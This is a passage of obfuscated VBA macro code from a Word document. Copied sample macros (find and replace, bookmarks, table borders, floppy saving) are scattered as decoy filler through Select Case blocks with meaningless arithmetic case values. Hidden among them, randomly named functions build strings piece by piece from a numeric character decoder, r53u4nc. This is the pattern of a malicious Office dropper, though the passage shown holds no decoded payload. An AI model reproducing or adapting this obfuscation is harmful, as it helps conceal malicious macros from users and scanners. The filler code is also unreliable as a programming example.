.Sections(iSec).Range\n oRng.Collapse wdCollapseStart\n ' insert a sectionpages field\n .Fields.Add Range:=oRng, Type:=wdFieldSectionPages\n ' divide the sectionpages field by 2\n ' if it gives a zero as the remainder, then\n ' you have an even number of pages in the section,\n ' which is what you want with an odd section page break\n If (.Sections(iSec).Range.Fields(1).Result Mod 2) <> 0 Then\n ' if you have an odd number of pages, then insert\n ' a page break before the section's section break\n Set oRng = .Sections(iSec).Range\n With oRng\n .Collapse Direction:=wdCollapseEnd\n .MoveEnd Unit:=wdCharacter, Count:=-1\n .InsertBreak Type:=wdPageBreak\n End With\n End If\n ' remove the sectionpages field that was added\n .Sections(iSec).Range.Fields(1).Delete\n Next iSec\n End With\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nWhile Selection.Find.Execute\nMsgBox (\"A\")\nWend\n\n\n\nCase (422 + -514 + (381 - (-607) + 816)): OKjHpJIFRvDFFu = jqIPH4x2A & r53u4nc(-6995 - (-9465) + (-2453))\n\nEnd Select\n\n\n\nSelect Case 1659\nCase (-882 + (795) - (176 + -843) + (-923)):\n\n\n\n If Selection.Type = wdSelectionIP Then\n Selection.MoveLeft Unit:=wdWord, Count:=1\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n End If\n Selection.Range.Case = wdTitleWord\n Selection.Font.SmallCaps = True\n\n\n\n BIStatus = 0\n If Selection.Font.Bold Then BIStatus = BIStatus + 1\n If Selection.Font.Italic Then BIStatus = BIStatus + 1\n\n If BIStatus = 0 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 1 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 2 Then\n Selection.Font.Bold = False\n Selection.Font.Italic = False\n End If\n\n\n\nCase (-607 + 37 + (723 - (-672) + 834)): eZGuZXIKQXFUGl6B1 = OKjHpJIFRvDFFu & r53u4nc(11187 - (5035) + (-6134))\n\nEnd Select\n\n\n\nSelect Case -1318\nCase (-696 + (257) - (218 + 799) + (-12)):\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nDo Until ActiveDocument.Bookmarks(\"\\Sel\") = _\n ActiveDocument.Bookmarks(\"\\EndOfDoc\")\n Selection.Find.ClearFormatting\n With Selection.Find\n .Text = \"Howdy!\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\n End With\n Selection.Find.Execute\n\n If Selection.Find.Found = True Then\n 'Do something within the found text\n Else\n Exit Do\n End If\n Loop\n\n\n\nCase (-746 + -978 + (349 - (-935) + -878)): LL9AzwITzxtf = eZGuZXIKQXFUGl6B1 & r53u4nc(6144 - (-2858) + (-8983))\n\nEnd Select\n\n\n\nSelect Case 1313\nCase (-614 + (-469) - (305 + -310) + (-795)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"yyy\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\n\n\n\n If ActiveDocument.Saved = False Then ActiveDocument.Save\n System.Cursor = wdCursorWait\n OrigLongFileName = ActiveDocument.Name\n OldPath = ActiveDocument.Path & Application.PathSeparator\n If ActiveDocument.Path = \"\" Then\n MsgBox \"Please save this document before sending to drive A:\", _\n vbOKOnly, \"This Document Not Saved\"\n Else\n FileCopy OldPath & OrigLongFileName, \"a:\\\" & OrigLongFileName\n Documents.Open FileName:=OldPath & OrigLongFileName\n Application.GoBack\n End If\n System.Cursor = wdCursorNormal\n\n\n\nCase (317 + 676 + (-340 - (315) + 975)): uhTwep1ANVr3uB1L3W = LL9AzwITzxtf & r53u4nc(4127 - (-3355) + (-7462))\n\nEnd Select\n\n\n\nSelect Case 163\nCase (-337 + (-424) - (-911 + 778) + (-494)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"yyy\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\n\n\n\n If Selection.Type = wdSelectionIP Then\n Selection.MoveLeft Unit:=wdWord, Count:=1\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n End If\n Selection.Range.Case = wdTitleWord\n Selection.Font.SmallCaps = True\n\n\n\nCase (-340 + 525 + (-2 - (310) + 290)): BBoRyvu4db = uhTwep1ANVr3uB1L3W\n\nEnd Select\n\n\nEnd Function\n\nFunction PkBfumIO4() As String\n\nSelect Case 414\nCase (981 + (686) - (867 + 490) + (-955)):\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nWhile Selection.Find.Execute\nMsgBox (\"A\")\nWend\n\n\n\nCase (476 + -95 + (526 - (532) + 39)): Dim Gtru5jecxQ\n\nEnd Select\n\n\n\nSelect Case -753\nCase (467 + 67 + (-948 - (-518) + -857)): Dim ZaPeKjX\n\nCase (288 + (-42) - (-346 + 100) + (-428)):\n\n\n\n Title = \"CharCount\"\n CharCount = Len(Selection)\n Message = LTrim(Str(CharCount)) + \" character\"\n If CharCount <> 1 Then Message = Message + \"s\"\n MsgBox Message, vbOKOnly, Title\n\n\n\nWith Selection.Cells\n .Borders(wdBorderLeft).LineStyle = wdLineStyleNone\n With .Borders(wdBorderRight)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderTop)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderBottom)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n .Borders.Shadow = False\nEnd With\nWith Options\n .DefaultBorderLineStyle = wdLineStyleSingle\n .DefaultBorderLineWidth = wdLineWidth050pt\n .DefaultBorderColorIndex = wdAuto\nEnd With\n\n\n\nEnd Select\n\n\n\nSelect Case -171\nCase (985 + (570) - (-322 + 838) + (129)):\n\n\n\n BIStatus = 0\n If Selection.Font.Bold Then BIStatus = BIStatus + 1\n If Selection.Font.Italic Then BIStatus = BIStatus + 1\n\n If BIStatus = 0 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 1 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 2 Then\n Selection.Font.Bold = False\n Selection.Font.Italic = False\n End If\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nCase (36 + 219 + (-736 - (557) + 867)): Gtru5jecxQ = r53u4nc(1571 - (1371) + (-179))\n\nEnd Select\n\n\n\nSelect Case -88\nCase (-313 + (-127) - (-812 + 946) + (-127)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"yyy\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nCase (750 + -876 + (378 - (372) + 32)): ZaPeKjX = Gtru5jecxQ & r53u4nc(-6223 - (-1615) + (4630))\n\nEnd Select\n\n\n\nSelect Case 1233\nCase (196 + (-465) - (480 + 496) + (373)):\n\n\n\n ' Display message, title, and default value\n Drive = InputBox(Message, Title, Default)\n If Drive > \"\" Then\n ffname = ActiveDocument.FullName\n FName = Drive & \":\\\" & ActiveDocument.Name\n ActiveDocument.SaveAs FName\n ActiveDocument.SaveAs ffname\n End If\n\n\n\n With ActiveDocument\n ' go through each section (except for the last one)\n For iSec = 1 To .Sections.Count - 1\n ' create a range object at the start of the section\n Set oRng = .Sections(iSec).Range\n oRng.Collapse wdCollapseStart\n ' insert a sectionpages field\n .Fields.Add Range:=oRng, Type:=wdFieldSectionPages\n ' divide the sectionpages field by 2\n ' if it gives a zero as the remainder, then\n ' you have an even number of pages in the section,\n ' which is what you want with an odd section page break\n If (.Sections(iSec).Range.Fields(1).Result Mod 2) <> 0 Then\n ' if you have an odd number of pages, then insert\n ' a page break before the section's section break\n Set oRng = .Sections(iSec).Range\n With oRng\n .Collapse Direction:=wdCollapseEnd\n .MoveEnd Unit:=wdCharacter, Count:=-1\n .InsertBreak Type:=wdPageBreak\n End With\n End If\n ' remove the sectionpages field that was added\n .Sections(iSec).Range.Fields(1).Delete\n Next iSec\n End With\n\n\n\nCase (179 + 768 + (-120 - (-153) + 253)): PkBfumIO4 = ZaPeKjX\n\nEnd Select\n\n\nEnd Function\n\nFunction zSO9JoK3E2() As String\n\nSelect Case -885\nCase (491 + (-427) - (-651 + -653) + (-923)):\n\n\n\n If ActiveDocument.Saved = False Then ActiveDocument.Save\n System.Cursor = wdCursorWait\n OrigLongFileName = ActiveDocument.Name\n OldPath = ActiveDocument.Path & Application.PathSeparator\n If ActiveDocument.Path = \"\" Then\n MsgBox \"Please save this document before sending to drive A:\", _\n vbOKOnly, \"This Document Not Saved\"\n Else\n FileCopy OldPath & OrigLongFileName, \"a:\\\" & OrigLongFileName\n Documents.Open FileName:=OldPath & OrigLongFileName\n Application.GoBack\n End If\n System.Cursor = wdCursorNormal\n\n\n\nActiveDocument.Bookmarks.Add Range:=Selection.Range, _\n Name:=\"BookmarkName\"\n\n\n\nCase (-449 + 274 + (719 - (733) + -696)): Dim i7HAqx\n\nEnd Select\n\n\n\nSelect Case -1540\nCase (173 + (7) - (-445 + 587) + (896)):\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nWhile Selection.Find.Execute\nMsgBox (\"A\")\nWend\n\n\n\nCase (119 + -987 + (-932 - (518) + 778)): Dim pI64kH8wQkQ\n\nEnd Select\n\n\n\nSelect Case 1738\nCase (-724 + (502) - (686 + 196) + (-469)):\n\n\n\n\n ' reference the current document\n Set docActive = ActiveDocument\n\n ' get the name of doc and also path/name\n ' of the template it's based-on\n strDocName = docActive.Name\n strTemplateName = docActive.AttachedTemplate.FullName\n\n ' create a copy document based on same template\n Set docNew = Documents.Add(strTemplateName)\n\n ' loop to copy each part of the active doc to the new doc\n For Each rngActiveDocPart In docActive.StoryRanges\n ' reference same part\n Set rngNewDocPart = docNew.StoryRanges _\n (rngActiveDocPart.StoryType)\n rngActiveDocPart.Copy\n rngNewDocPart.Paste\n Next rngActiveDocPart\n\n ' make the new document active\n docNew.Activate\n\n ' offer to save it on floppy drive A:\\\n\n\n\n\n With Selection.Find\n .ClearFormatting\n .Replacement.ClearFormatting\n .Text = \" {2,}\"\n .Replacement.Text = \"^t\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchAllWordForms = False\n .MatchSoundsLike = False\n .MatchWildcards = True\n End With\n Selection.Find.Execute Replace:=wdReplaceAll\n Selection.ConvertToTable _\n Separator:=wdSeparateByTabs, _\n Format:=wdTableFormatNone\n\n\n\nCase (506 + 990 + (916 - (170) + -504)): i7HAqx = r53u4nc(1571 - (1371) + (-179))\n\nEnd Select\n\n\n\nSelect Case 1239\nCase (141 + 18 + (892 - (456) + 644)): pI64kH8wQkQ = i7HAqx & r53u4nc(-6223 - (-1615) + (4630))\n\nCase (846 + (-339) - (376 + -732) + (164)):\n\n\n\n\n ' reference the current document\n Set docActive = ActiveDocument\n\n ' get the name of doc and also path/name\n ' of the template it's based-on\n strDocName = docActive.Name\n strTemplateName = docActive.AttachedTemplate.FullName\n\n ' create a copy document based on same template\n Set docNew = Documents.Add(strTemplateName)\n\n ' loop to copy each part of the active doc to the new doc\n For Each rngActiveDocPart In docActive.StoryRanges\n ' reference same part\n Set rngNewDocPart = docNew.StoryRanges _\n (rngActiveDocPart.StoryType)\n rngActiveDocPart.Copy\n rngNewDocPart.Paste\n Next rngActiveDocPart\n\n ' make the new document active\n docNew.Activate\n\n ' offer to save it on floppy drive A:\\\n\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nEnd Select\n\n\n\nSelect Case 844\nCase (358 + 375 + (488 - (562) + 185)): zSO9JoK3E2 = pI64kH8wQkQ\n\nCase (61 + (127) - (-156 + -491) + (-620)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\nColumns.EntireColumn.Hidden = False\nRows.EntireRow.Hidden = False\n\n\n\nEnd Select\n\n\nEnd Function\n\nFunction xFE9DJ4h0tGm() As String\n\nSelect Case 1910\nCase (260 + (-410) - (658 + 329) + (-460)):\n\n\n\nSelection.GoTo What:=wdGoToBookmark, Name:=\"BookmarkName\"\nSelection.Delete Unit:=wdCharacter, Count:=1\nSelection.InsertAfter \"This is the new text\"\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nCase (970 + 482 + (-482 - (25) + 965)): Dim CvnNCz\n\nEnd Select\n\n\n\nSelect Case -1098\nCase (-636 + (207) - (-920 + 890) + (49)):\n\n\n\n If ActiveDocument.Saved = False Then ActiveDocument.Save\n System.Cursor = wdCursorWait\n OrigLongFileName = ActiveDocument.Name\n OldPath = ActiveDocument.Path & Application.PathSeparator\n If ActiveDocument.Path = \"\" Then\n MsgBox \"Please save this document before sending to drive A:\", _\n vbOKOnly, \"This Document Not Saved\"\n Else\n FileCopy OldPath & OrigLongFileName, \"a:\\\" & OrigLongFileName\n Documents.Open FileName:=OldPath & OrigLongFileName\n Application.GoBack\n End If\n System.Cursor = wdCursorNormal\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nWhile Selection.Find.Execute\nMsgBox (\"A\")\nWend\n\n\n\nCase (-773 + -985 + (818 - (-790) + -948)): Dim C4jovSOaRTKjP\n\nEnd Select\n\n\n\nSelect Case -2007\nCase (278 + (-481) - (-901 + -215) + (828)):\n\n\n\nSelection.GoTo What:=wdGoToBookmark, Name:=\"BookmarkName\"\nSelection.Delete Unit:=wdCharacter, Count:=1\nSelection.InsertAfter \"This is the new text\"\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nWhile Selection.Find.Execute\nMsgBox (\"A\")\nWend\n\n\n\nCase (-804 + -901 + (-565 - (-866) + -603)): CvnNCz = r53u4nc(1571 - (1371) + (-179))\n\nEnd Select\n\n\n\nSelect Case -2274\nCase (-240 + (995) - (607 + -725) + (-562)):\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nSelection.GoTo What:=wdGoToBookmark, Name:=\"BookmarkName\"\nSelection.Delete Unit:=wdCharacter, Count:=1\nSelection.InsertAfter \"This is the new text\"\n\n\n\nCase (-692 + -959 + (22 - (-343) + -988)): C4jovSOaRTKjP = CvnNCz & r53u4nc(-6223 - (-1615) + (4630))\n\nEnd Select\n\n\n\nSelect Case 1065\nCase (937 + (883) - (-52 + 494) + (720)):\n\n\n\nSelection.GoTo What:=wdGoToBookmark, Name:=\"BookmarkName\"\nSelection.Delete Unit:=wdCharacter, Count:=1\nSelection.InsertAfter \"This is the new text\"\n\n\n\n With Selection.Find\n .ClearFormatting\n .Replacement.ClearFormatting\n .Text = \" {2,}\"\n .Replacement.Text = \"^t\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchAllWordForms = False\n .MatchSoundsLike = False\n .MatchWildcards = True\n End With\n Selection.Find.Execute Replace:=wdReplaceAll\n Selection.ConvertToTable _\n Separator:=wdSeparateByTabs, _\n Format:=wdTableFormatNone\n\n\n\nCase (833 + -534 + (135 - (-969) + -338)): xFE9DJ4h0tGm = C4jovSOaRTKjP\n\nEnd Select\n\n\nEnd Function\n\nFunction l5Qu0IpXCE(PerIomA7Ym40h5c As String, Jk6h9g As String)\n\nSelect Case -1268\nCase (-666 + 535 + (-44 - (484) + -609)): l5Qu0IpXCE = PerIomA7Ym40h5c + Jk6h9g\n\nCase (-952 + (-574) - (435 + -898) + (-173)):\n\n\n\nSelection.GoTo What:=wdGoToBookmark, Name:=\"BookmarkName\"\nSelection.Delete Unit:=wdCharacter, Count:=1\nSelection.InsertAfter \"This is the new text\"\n\n\n\n sBigStuff = \"\"\n\n ' Select the full number in which the insertion point is located\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n\n ' Store the digits in a variable\n sDigits = Trim(Selection.Text)\n\n If Val(sDigits) > 999999 Then\n If Val(sDigits) <= 999999999 Then\n sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))\n ' Create a field containing the big digits and\n ' the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sBigStuff + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sBigStuff = Selection.Text & \" million \"\n sDigits = Right(sDigits, 6)\n End If\n End If\n If Val(sDigits) <= 999999 Then\n ' Create a field containing the digits and the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sDigits + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sDigits = sBigStuff & Selection.Text\n\n ' Now put the words in the document\n Selection.TypeText Text:=sDigits\n Selection.TypeText Text:=\" \"\n Else\n MsgBox \"Number too large\", vbOKOnly\n End If\n\n\n\nEnd Select\n\n\nEnd Function\nFunction ahSaAw0h(bK6FlBpOx9L As String, IezJdICRv As String)\n\nSelect Case -1210\nCase (-316 + (-250) - (-630 + -844) + (-926)):\n\n\n\n With ActiveDocument\n ' go through each section (except for the last one)\n For iSec = 1 To .Sections.Count - 1\n ' create a range object at the start of the section\n Set oRng = .Sections(iSec).Range\n oRng.Collapse wdCollapseStart\n ' insert a sectionpages field\n .Fields.Add Range:=oRng, Type:=wdFieldSectionPages\n ' divide the sectionpages field by 2\n ' if it gives a zero as the remainder, then\n ' you have an even number of pages in the section,\n ' which is what you want with an odd section page break\n If (.Sections(iSec).Range.Fields(1).Result Mod 2) <> 0 Then\n ' if you have an odd number of pages, then insert\n ' a page break before the section's section break\n Set oRng = .Sections(iSec).Range\n With oRng\n .Collapse Direction:=wdCollapseEnd\n .MoveEnd Unit:=wdCharacter, Count:=-1\n .InsertBreak Type:=wdPageBreak\n End With\n End If\n ' remove the sectionpages field that was added\n .Sections(iSec).Range.Fields(1).Delete\n Next iSec\n End With\n\n\n\n ' Display message, title, and default value\n Drive = InputBox(Message, Title, Default)\n If Drive > \"\" Then\n ffname = ActiveDocument.FullName\n FName = Drive & \":\\\" & ActiveDocument.Name\n ActiveDocument.SaveAs FName\n ActiveDocument.SaveAs ffname\n End If\n\n\n\nCase (694 + -683 + (-189 - (692) + -340)): ahSaAw0h = bK6FlBpOx9L + IezJdICRv\n\nEnd Select\n\n\nEnd Function\nFunction HDEti75c(ZysRGDrvuhK40ToJl As String, BbKiadjh25IgRuGD6c As String)\n\nSelect Case -1266\nCase (-351 + (525) - (785 + -959) + (698)):\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nWith Selection.Cells\n .Borders(wdBorderLeft).LineStyle = wdLineStyleNone\n With .Borders(wdBorderRight)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderTop)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderBottom)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n .Borders.Shadow = False\nEnd With\nWith Options\n .DefaultBorderLineStyle = wdLineStyleSingle\n .DefaultBorderLineWidth = wdLineWidth050pt\n .DefaultBorderColorIndex = wdAuto\nEnd With\n\n\n\nCase (-482 + 38 + (-416 - (-225) + -631)): HDEti75c = ZysRGDrvuhK40ToJl + BbKiadjh25IgRuGD6c\n\nEnd Select\n\n\nEnd Function\nFunction iD5c9PJf8K(RezYJtUFoGIAB0sG9 As String, qaqOFiYAlcEF As String)\n\nSelect Case 1360\nCase (933 + 962 + (-473 - (811) + 749)): iD5c9PJf8K = RezYJtUFoGIAB0sG9 + qaqOFiYAlcEF\n\nCase (-772 + (434) - (649 + -214) + (-413)):\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\nSelection.GoTo What:=wdGoToBookmark, Name:=\"BookmarkName\"\nSelection.Delete Unit:=wdCharacter, Count:=1\nSelection.InsertAfter \"This is the new text\"\n\n\n\nEnd Select\n\n\nEnd Function\nFunction Uu0hWQa5(QomMBr63 As String, UHREKoSPsuInBkPd As String)\n\nSelect Case -153\nCase (10 + (91) - (45 + -210) + (25)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nWhile Selection.Find.Execute\nMsgBox (\"A\")\nWend\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nCase (349 + -855 + (440 - (105) + 18)): Uu0hWQa5 = QomMBr63 + UHREKoSPsuInBkPd\n\nEnd Select\n\n\nEnd Function\nFunction Grrr0fvOe(FECvQOXHGz As String, OSVoz8lCfY9c3RG9HrJ As String)\n\nSelect Case -232\nCase (269 + 267 + (-644 - (371) + 247)): Grrr0fvOe = FECvQOXHGz + OSVoz8lCfY9c3RG9HrJ\n\nCase (664 + (962) - (-709 + 603) + (-67)):\n\n\n\n With ActiveDocument\n ' go through each section (except for the last one)\n For iSec = 1 To .Sections.Count - 1\n ' create a range object at the start of the section\n Set oRng = .Sections(iSec).Range\n oRng.Collapse wdCollapseStart\n ' insert a sectionpages field\n .Fields.Add Range:=oRng, Type:=wdFieldSectionPages\n ' divide the sectionpages field by 2\n ' if it gives a zero as the remainder, then\n ' you have an even number of pages in the section,\n ' which is what you want with an odd section page break\n If (.Sections(iSec).Range.Fields(1).Result Mod 2) <> 0 Then\n ' if you have an odd number of pages, then insert\n ' a page break before the section's section break\n Set oRng = .Sections(iSec).Range\n With oRng\n .Collapse Direction:=wdCollapseEnd\n .MoveEnd Unit:=wdCharacter, Count:=-1\n .InsertBreak Type:=wdPageBreak\n End With\n End If\n ' remove the sectionpages field that was added\n .Sections(iSec).Range.Fields(1).Delete\n Next iSec\n End With\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\nEnd Select\n\n\nEnd Function\nFunction NTGoRCvic(Q4gO96xf As String, Bd5k9y As String)\n\nSelect Case -763\nCase (698 + (-125) - (-76 + -128) + (480)):\n\n\n\nDo Until ActiveDocument.Bookmarks(\"\\Sel\") = _\n ActiveDocument.Bookmarks(\"\\EndOfDoc\")\n Selection.Find.ClearFormatting\n With Selection.Find\n .Text = \"Howdy!\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\n End With\n Selection.Find.Execute\n\n If Selection.Find.Found = True Then\n 'Do something within the found text\n Else\n Exit Do\n End If\n Loop\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\nCase (598 + 602 + (-515 - (934) + -514)): NTGoRCvic = Q4gO96xf + Bd5k9y\n\nEnd Select\n\n\nEnd Function\nFunction zhrdJCQxE(KQ0t4v As String, A1y4rTdB As String)\n\nSelect Case -398\nCase (-703 + 98 + (46 - (617) + 778)): zhrdJCQxE = KQ0t4v + A1y4rTdB\n\nCase (-272 + (78) - (683 + -818) + (149)):\n\n\n\nColumns.EntireColumn.Hidden = False\nRows.EntireRow.Hidden = False\n\n\n\n ' set document folder path and template strings\n strDocPath = \"C:\\path to document folder\\\"\n strTemplateB = \"C:\\path to template\\templateB.dot\"\n\n ' get first doc - only time need to provide file spec\n strCurDoc = Dir(strDocPath & \"*.doc\")\n\n ' ready to loop (for as long as file found)\n Do While strCurDoc <> \"\"\n ' open file\n Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)\n ' change the template\n docCurDoc.AttachedTemplate = strTemplateB\n ' save and close\n docCurDoc.Close wdSaveChanges\n ' get next file name\n strCurDoc = Dir\n Loop\n MsgBox \"Finished\"\n\n\n\nEnd Select\n\n\nEnd Function\nFunction ArmjvxE(lfG6gxp As String, vh3Lh1SaZanzei0FFD As String)\n\nSelect Case -489\nCase (-645 + (743) - (570 + -608) + 